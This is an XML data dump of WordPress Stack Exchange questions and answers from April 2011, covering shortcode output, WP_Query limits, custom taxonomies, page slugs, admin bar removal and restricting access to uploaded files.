  <row Id="13853" PostTypeId="2" ParentId="13822" CreationDate="2011-04-04T06:11:21.550" Score="1" ViewCount="" Body="&lt;p&gt;Here's one called &lt;a href=&quot;http://themeforest.net/item/sofa-qanda-knowledge-base-wp-theme/180802&quot; rel=&quot;nofollow&quot;&gt;Sofa Q &amp;amp; A&lt;/a&gt; that was released on ThemeForest a few weeks back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks really slick.&lt;/p&gt;&#xA;" OwnerUserId="4417" LastActivityDate="2011-04-04T06:11:21.550" />
  <row Id="13854" PostTypeId="1" AcceptedAnswerId="14551" CreationDate="2011-04-04T06:31:21.473" Score="0" ViewCount="182" Body="&lt;p&gt;Is there a plugin or some php code to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to disable some categories from the category box on the add/edit message page. I don't want to delete the categories and I want to leave the disabled categories to the previously assigned posts.&lt;/p&gt;&#xA;" OwnerUserId="3499" LastActivityDate="2011-04-12T09:09:57.117" Title="How to disable category without deleting?" Tags="&lt;categories&gt;" AnswerCount="2" />
  <row Id="13855" PostTypeId="1" AcceptedAnswerId="13861" CreationDate="2011-04-04T06:58:49.193" Score="0" ViewCount="65" Body="&lt;p&gt;I am working on a function that displays all authors but it appears I am doing something wrong the HTML within does not display until the bottom of the page separate from the output. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Add shortcode to display authors */&#xA;function all_authors() {&#xA;global $wpdb;&#xA;&#xA;$authors = $wpdb-&amp;gt;get_results(&quot;SELECT ID, user_nicename from $wpdb-&amp;gt;users where ID not in(1)&quot;);&#xA;&#xA;$retval = '&amp;lt;div id=&quot;author_list&quot;&amp;gt;&amp;lt;ul&amp;gt;';&#xA;foreach($authors as $author) {&#xA;$retval .= '&amp;lt;li&amp;gt;';&#xA;if(userphoto_exists($author-&amp;gt;ID))&#xA;    echo userphoto($author-&amp;gt;ID);&#xA;else&#xA;$retval .= get_avatar($author-&amp;gt;ID, 96);&#xA;$retval .= '&amp;lt;h6&amp;gt;'.the_author_meta('display_name', $author-&amp;gt;ID).', '.the_author_meta('tagline', $author-&amp;gt;ID);&#xA;$retval .= '&amp;lt;/h6&amp;gt;&amp;lt;p&amp;gt;'.the_author_meta('description', $author-&amp;gt;ID).'&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;'.the_author_meta('phone', $author-&amp;gt;ID);&#xA;$retval .= ' | &amp;lt;a href=&quot;'.the_author_meta('user_url', $author-&amp;gt;ID).'&quot; target=&quot;_blank&quot;&amp;gt;'.the_author_meta('user_url', $author-&amp;gt;ID).'&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;$retval .= '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;';&#xA;return $retval;&#xA;}&#xA;&#xA;add_shortcode('myauthorbox', 'all_authors');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4418" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-04T08:30:39.707" LastActivityDate="2011-04-04T08:35:22.980" Title="Shortcode not displaying HTML within the function" Tags="&lt;plugins&gt;&lt;users&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13856" PostTypeId="1" CreationDate="2011-04-04T07:32:24.333" Score="0" ViewCount="148" Body="&lt;p&gt;I am wondering how might I create an admin page to do CRUD. I know how to add a basic/options page to the admin menu. But I want to go further, how might I manage data (CRUD) and for the index/listing page, I will need pagination, can someone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-04-04T08:46:22.757" LastActivityDate="2011-06-30T07:22:47.407" Title="How to do admin CRUD &amp; Pagination" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;crud&gt;" AnswerCount="2" />
  <row Id="13858" PostTypeId="2" ParentId="13851" CreationDate="2011-04-04T08:19:55.907" Score="0" ViewCount="" Body="&lt;p&gt;There is no deeper level function in &lt;code&gt;get_category_parents()&lt;/code&gt; (see &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/category-template.php#L30&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;). It just checks &lt;code&gt;parent&lt;/code&gt; field in category object and then recursively checks for its parent until it runs out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you will need either to write simple analogue or rewrite it (depending on how much functionality you need).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-04T08:19:55.907" />
  <row Id="13859" PostTypeId="1" CreationDate="2011-04-04T08:25:56.000" Score="0" ViewCount="189" Body="&lt;p&gt;I need some help with a search plugin: WP Custom Fields Search. I have three drop down menus: 1. City 2. Suburb 3. Cuisine&#xA;What I need is so that when you select a City, it automatically moves the 2. Suburbs to relevant to that city. 3. is a custom field ie. there can be chinese restaurants in any city. suburb so it doesnt matter but only certain suburbs in certain cities...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I filter it any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4179" LastActivityDate="2011-06-03T17:13:53.197" Title="Intelligent Search Filtering" Tags="&lt;search&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="13860" PostTypeId="2" ParentId="13841" CreationDate="2011-04-04T08:30:04.247" Score="2" ViewCount="" Body="&lt;p&gt;For starters see &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;AJAX in Plugins&lt;/a&gt;. WordPress has own mechanism for processing Ajax request and that is what you should use over includging &lt;code&gt;wp-load.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-04T08:30:04.247" CommentCount="2" />
  <row Id="13861" PostTypeId="2" ParentId="13855" CreationDate="2011-04-04T08:35:22.980" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;the_author_meta()&lt;/code&gt; is display function, it echoes the result to screen right where it's called. To concatenate with string you need to use function that returns result - &lt;code&gt;get_the_author_meta()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-04T08:35:22.980" CommentCount="1" />
  <row Id="13862" PostTypeId="2" ParentId="13856" CreationDate="2011-04-04T08:45:00.340" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@JM at Work:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to do CRUD in WordPress for probably 99% of use-cases is to create a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;Custom Post Type&lt;/strong&gt;&lt;/a&gt;. CPTs will give you CRUD almost for free, then after that you may need to ask a few more questions here about how to do selected additional things, depending on your specific use-case. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-04T08:45:00.340" CommentCount="1" />
  <row Id="13863" PostTypeId="1" AcceptedAnswerId="13864" CreationDate="2011-04-04T08:59:01.883" Score="0" ViewCount="202" Body="&lt;p&gt;I have a new question, how can I limit the amount of posts coming out of this query? I only need 7&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$newsposts = new WP_Query('cat=restaurant');&#xA;if ( is_front_page()) { &#xA;    echo '&amp;lt;h3 class=&quot;member-review&quot;&amp;gt;Latest Restaurants&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div id=&quot;extra&quot;&amp;gt;';&#xA;    if ($newsposts-&amp;gt;have_posts()) : while ($newsposts-&amp;gt;have_posts()) : $newsposts-&amp;gt;the_post();&#xA;        echo '&amp;lt;div class=&quot;reslogo&quot;&amp;gt;&amp;lt;img src=&quot;'.catch_that_image().'&quot;/&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    endwhile; endif; &#xA;    echo '&amp;lt;/div&amp;gt;';    &#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to put: &lt;code&gt;('cat=restaurants'.'limit=7')&lt;/code&gt; but she no work. How did i go wrong? any help would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="4179" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-04T09:06:03.917" LastActivityDate="2011-08-15T13:13:33.763" Title="How to limit the posts" Tags="&lt;wp-query&gt;" AnswerCount="2" />
  <row Id="13864" PostTypeId="2" ParentId="13863" CreationDate="2011-04-04T09:04:52.547" Score="2" ViewCount="" Body="&lt;p&gt;It should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newsposts = new WP_Query('cat=restaurant&amp;amp;posts_per_page=7');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way to write it (helps readability with larger queries) would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newsposts = new WP_Query(array(&#xA;    'cat' =&amp;gt; 'restaurant',&#xA;    'posts_per_page' =&amp;gt; 7,&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Query&lt;/code&gt;&lt;/a&gt; in Codex for description of available parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS would be good practice to add &lt;code&gt;wp_reset_postdata()&lt;/code&gt; at the end. You are (correctly) not modifying main query, but you do change global &lt;code&gt;$post&lt;/code&gt; variable with this loop.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-04T09:04:52.547" CommentCount="1" />
  <row Id="13867" PostTypeId="1" AcceptedAnswerId="14082" CreationDate="2011-04-04T09:40:06.193" Score="0" ViewCount="214" Body="&lt;p&gt;How might I have custom markup for my menus, like I want to give menu items something like &lt;code&gt;id=&quot;menuitem-postname&quot;&lt;/code&gt; how might I do that?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-05-06T18:43:52.390" Title="Custom markup with wp_nav_menu based on pages" Tags="&lt;theme-development&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="13868" PostTypeId="1" AcceptedAnswerId="13871" CreationDate="2011-04-04T10:02:47.540" Score="0" ViewCount="114" Body="&lt;p&gt;Why isit that WordPress sometimes add a number to my slug even if I explicitly set it. Like if I set slug to be 'about' I get 'about-2'. I want the slug to be correct so I can style using CSS easily. Or is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-04-04T10:27:12.430" Title="Why does WordPress append numbers to page slugs sometimes? How to reliably style based on page" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="13869" PostTypeId="2" ParentId="324" CreationDate="2011-04-04T10:20:38.537" Score="2" ViewCount="" Body="&lt;h3&gt;Recently made the move to Mac from Windows&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Currently Using: Mac OS 10.6.7&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PHP Storm&lt;/a&gt; with the &lt;a href=&quot;http://plugins.intellij.net/plugin/?webide&amp;amp;id=5348&quot; rel=&quot;nofollow&quot;&gt;CSS-X Plugin&lt;/a&gt; (Integrates with Firebug and saves and versions live CSS edits.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.panic.com/transmit/&quot; rel=&quot;nofollow&quot;&gt;Transmit&lt;/a&gt; and &lt;a href=&quot;http://www.expandrive.com/mac&quot; rel=&quot;nofollow&quot;&gt;ExpanDrive&lt;/a&gt; (Mounts remote folders on startup) for SFTP&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.panic.com/coda/&quot; rel=&quot;nofollow&quot;&gt;Coda&lt;/a&gt; for basic editing when I don't want to open PHP Storm&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.realmacsoftware.com/littlesnapper/&quot; rel=&quot;nofollow&quot;&gt;LittleSnapper&lt;/a&gt; for screen shots and annotations &lt;/li&gt;&#xA;&lt;li&gt;Terminal and nano for working on my live server&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mamp.info/en/mamp-pro/index.html&quot; rel=&quot;nofollow&quot;&gt;MAMP Pro&lt;/a&gt; for local dev environment&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.adobe.com/cfusion/tdrc/index.cfm?product=photoshop&quot; rel=&quot;nofollow&quot;&gt;Photoshop CS5&lt;/a&gt; for graphix&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.omnigroup.com/products/omnigraffle/&quot; rel=&quot;nofollow&quot;&gt;Omnigraffe&lt;/a&gt; for wireframes&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.vmware.com/products/fusion/overview.html&quot; rel=&quot;nofollow&quot;&gt;VmWare Fusion&lt;/a&gt; for running Windows 7 inside my Mac&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WebApps&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.freshbooks.com/&quot; rel=&quot;nofollow&quot;&gt;FreshBooks&lt;/a&gt; for invoicing and expense tracking&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bidsketch.com/&quot; rel=&quot;nofollow&quot;&gt;BidSketch&lt;/a&gt; for creating proposals&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.authorize.net/&quot; rel=&quot;nofollow&quot;&gt;Authorize.net&lt;/a&gt; for processing credit cards&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.echosign.com/&quot; rel=&quot;nofollow&quot;&gt;EchoSign&lt;/a&gt; for processing electronic signatures&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.google.com/apps/intl/en/group/index.html&quot; rel=&quot;nofollow&quot;&gt;Google Apps&lt;/a&gt; for Email, Calendar and docs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Deprecated (for me) Windows Software&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NetBeans IDE&lt;/li&gt;&#xA;&lt;li&gt;Notepad ++&lt;/li&gt;&#xA;&lt;li&gt;Core FTP&lt;/li&gt;&#xA;&lt;li&gt;Putty and PuttyGen&lt;/li&gt;&#xA;&lt;li&gt;WinSCP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Windows Software using in Virtual Machine&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.servethehome.com/supermicro-ipmiview-review-remote-server-monitoring-management-ipmi-20-kvm-over-ip/&quot; rel=&quot;nofollow&quot;&gt;IPMI View&lt;/a&gt; kvm-over-IP for controlling my server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-06T19:53:13.197" LastActivityDate="2011-04-06T19:53:13.197" CommunityOwnedDate="2011-04-04T10:20:38.537" CommentCount="3" />
  <row Id="13870" PostTypeId="2" ParentId="13868" CreationDate="2011-04-04T10:26:55.847" Score="1" ViewCount="" Body="&lt;p&gt;When WordPress appends numbers to the slug it usually means that you allready have a page or post with that slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you can style based on the slug you can always style based on the page or post ID.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-04T10:26:55.847" CommentCount="1" />
  <row Id="13871" PostTypeId="2" ParentId="13868" CreationDate="2011-04-04T10:27:12.430" Score="3" ViewCount="" Body="&lt;p&gt;WordPress appends a number to your slug when the database already contains a duplicate slug.  It will append the number even if the duplicate post or page has been moved to the trash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL Routing system is one of the weaknesses of WordPress.  &lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;Mike Schinkel&lt;/a&gt;&lt;/strong&gt; made a very good proposal to &lt;strong&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12935&quot; rel=&quot;nofollow&quot;&gt;evolve the re write engine&lt;/a&gt;&lt;/strong&gt; on trac but the ticket was closed as &quot;wont fix&quot;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-04T10:27:12.430" CommentCount="1" />
  <row Id="13872" PostTypeId="1" AcceptedAnswerId="13879" CreationDate="2011-04-04T10:30:20.210" Score="0" ViewCount="287" Body="&lt;p&gt;I have a restricted area on a website that can only be accessed by logged in users. Fot that I created a page template with a 'current_user_can()' condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the documents attached to the restricted pages are still accessible to anyone if you put the complete path into the browsers address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to restrict the access to uploaded files ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : I want to clarify, the files should be accessible only to logged in users.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-04-04T16:24:49.433" LastActivityDate="2011-04-04T16:47:21.327" Title="How to restrict access to uploaded files?" Tags="&lt;users&gt;&lt;uploads&gt;&lt;attachments&gt;&lt;user-access&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="0" />
  <row Id="13873" PostTypeId="2" ParentId="13854" CreationDate="2011-04-04T10:33:06.853" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/admin-only-category/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;admin-only-categories&lt;/strong&gt;&lt;/a&gt; plugin which allow you to hide certain category, chosen in the settings &gt;&gt; admin-only category settings panel, from all but Admin.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-04T10:33:06.853" CommentCount="1" />
  <row Id="13874" PostTypeId="1" CreationDate="2011-04-04T10:33:36.233" Score="0" ViewCount="71" Body="&lt;p&gt;I have a Custom post type called 'Stories', which holds 'stories'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a way to link stories together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, i have Story A. I need a way to define story B as a relative to story A. I could do this with taxonomies, but i need a more 'relative' way not a 'grouped' way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2011-04-04T11:36:46.913" Title="Link posts together (relative, not grouped)" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="13875" PostTypeId="1" CreationDate="2011-04-04T10:36:42.360" Score="0" ViewCount="224" Body="&lt;p&gt;I am using the following code to remove the admin bar (client request).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'show_admin_bar', '__return_false' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trouble is, it leaves some autogenerating CSS, which places a massive white line at the top of my page in its place (via a 28px top margin rule). How can I turn this off as well?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-04-08T10:52:28.043" Title="Admin Bar CSS left over after removal" Tags="&lt;admin-bar&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="13876" PostTypeId="2" ParentId="13847" CreationDate="2011-04-04T10:41:30.977" Score="1" ViewCount="" Body="&lt;p&gt;I agree with Chris_O:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you know that you or the client will NEVER need to be translated there is no need to replace all the strings within your theme with gettext.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But with that said if you are releasing or distributing  the plugin or theme to the public then you &lt;strong&gt;should&lt;/strong&gt; wrap your strings with gettext, and make the life's of none English speaking WordPress Users easier.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-04T10:41:30.977" />
  <row Id="13877" PostTypeId="2" ParentId="13838" CreationDate="2011-04-04T10:46:25.573" Score="2" ViewCount="" Body="&lt;p&gt;If you want to have variables in your text to be translated the usual way would be with string formatting like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;printf(__(&quot;text %s text2.&quot;), $message);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with integers: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;printf(__(&quot;text %d text2.&quot;), $count);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with more then one placeholders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;printf(__(&quot;text %1$s text2 %2$S.&quot;), $message, $message2);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the variable it self will not be translated in no way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WPML doesn't run the code before &lt;code&gt;__();&lt;/code&gt; or &lt;code&gt;_e();&lt;/code&gt; function it only search the files for them, and that is why when you write something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$message = 'test'; // here I get the information of the DB&#xA;__($message, 'my-plugin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WPML only sees &lt;code&gt;__($message, 'my-plugin');&lt;/code&gt; where $message is empty.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-04T10:46:25.573" CommentCount="1" />
  <row Id="13879" PostTypeId="2" ParentId="13872" CreationDate="2011-04-04T11:06:02.720" Score="5" ViewCount="" Body="&lt;p&gt;This isn't really a WordPress question - but you can add a rewrite rule to prevent access unless the referrer is your own domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to do 2 things&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a rewrite rule (either directly with .htaccess or by using WP_rewrite &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite&quot; rel=&quot;nofollow&quot;&gt;(Codex reference)&lt;/a&gt;. The aim here is to deny requests to your documents that don't have your domain as a referrer - this stops people pasting the link into a browser's address bar&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wrap your download links in an &lt;code&gt;is_user_logged_in&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;(Codex reference)&lt;/a&gt; conditional block - that way they will only show up on the page if the user is logged in&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-04-04T16:47:21.327" LastActivityDate="2011-04-04T16:47:21.327" CommentCount="6" />
  <row Id="13880" PostTypeId="2" ParentId="13847" CreationDate="2011-04-04T11:09:10.863" Score="1" ViewCount="" Body="&lt;p&gt;There is an alternative: Let your client alter the strings and store them in theme options. I did this just recently for a theme which will be used on many different blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/NR3Se.png&quot; rel=&quot;nofollow&quot;&gt;Screenshot&lt;/a&gt; of the backend:&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/NR3Se.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alle strings are stored in &lt;strong&gt;one&lt;/strong&gt; option array, which reduces the performance overhead to &lt;strong&gt;one&lt;/strong&gt; cached DB query. And the client has a better interface and more freedom to edit the fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach doesn’t work well if your theme is used in many different languages, because you have to offer useful default values for each of them. But for a simple use case with just three or four languages it works quite well.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-04T11:09:10.863" />
  <row Id="13881" PostTypeId="2" ParentId="13875" CreationDate="2011-04-04T11:10:55.760" Score="-1" ViewCount="" Body="&lt;p&gt;Can't you just override the CSS - probably the easiest way - add a display: none to whatever the admin bar selector is&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-04T11:10:55.760" CommentCount="1" />
  <row Id="13882" PostTypeId="2" ParentId="13874" CreationDate="2011-04-04T11:13:24.323" Score="0" ViewCount="" Body="&lt;p&gt;Add custom fields containing the ID for the post(s) you want to be related. &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-04T11:13:24.323" />
  <row Id="13883" PostTypeId="2" ParentId="13859" CreationDate="2011-04-04T11:22:02.750" Score="2" ViewCount="" Body="&lt;p&gt;The problem with custom fields is that there is no relation between them so you can't relate Suburbs to cities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better way would be to create an hierarchical &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom Taxonomy&lt;/strong&gt;&lt;/a&gt; so you can have a parent - child relation (like categories and sub categories). so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_locations_taxonomies', 0 );&#xA;&#xA;//create two taxonomies, genres and writers for the post type &quot;book&quot;&#xA;function create_locations_taxonomies() &#xA;{&#xA;  // Add new taxonomy, make it hierarchical (like categories)&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x( 'Locations', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Location', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search Locations' ),&#xA;    'all_items' =&amp;gt; __( 'All Locations' ),&#xA;    'parent_item' =&amp;gt; __( 'Parent Location' ),&#xA;    'parent_item_colon' =&amp;gt; __( 'Parent Location:' ),&#xA;    'edit_item' =&amp;gt; __( 'Edit Location' ), &#xA;    'update_item' =&amp;gt; __( 'Update Location' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Locations' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Location' ),&#xA;    'menu_name' =&amp;gt; __( 'Locations' ),&#xA;  );    &#xA;&#xA;  register_taxonomy('location',array('post','page','custom type'), array(&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'labels' =&amp;gt; $labels,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'location' ),&#xA;  ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add a meta box to the new/edit post screen just like categories but for location so you can add Cities and Suburbs as their children location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after you have done that you can create a dropdown with the parent locations only (cities) with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;wp_dropdown_categories()&lt;/a&gt; something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;&#xA;    'show_option_none'   =&amp;gt; 'select your location',&#xA;    'hide_empty'         =&amp;gt; 1, &#xA;    'echo'               =&amp;gt; 1,&#xA;    'selected'           =&amp;gt; 0,&#xA;    'hierarchical'       =&amp;gt; 1, &#xA;    'name'               =&amp;gt; 'p-location',&#xA;    'class'              =&amp;gt; 'postform',&#xA;    'depth'              =&amp;gt; 1,&#xA;    'tab_index'          =&amp;gt; 0,&#xA;    'taxonomy'           =&amp;gt; 'location',&#xA;    'hide_if_empty'      =&amp;gt; true );&#xA;&#xA; wp_dropdown_categories( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use Jquery/ajax to catch the change event of this dropdown and fetch the children (Suburbs) of the selected ID and populate the second dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its not complete but it should get you started.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-04T11:22:02.750" CommentCount="4" />
  <row Id="13885" PostTypeId="2" ParentId="13875" CreationDate="2011-04-04T11:27:57.963" Score="0" ViewCount="" Body="&lt;p&gt;To completely remove the Admin bar deregister the js and css using wp_degregister_script and remove the action.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!is_admin() &amp;amp;&amp;amp; !current_user_can('add_users')){&#xA;    wp_deregister_script( 'admin-bar' );&#xA;    wp_deregister_style( 'admin-bar' );&#xA;    remove_action('wp_footer','wp_admin_bar_render',1000);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-04T11:33:25.680" LastActivityDate="2011-04-04T11:33:25.680" CommentCount="5" />
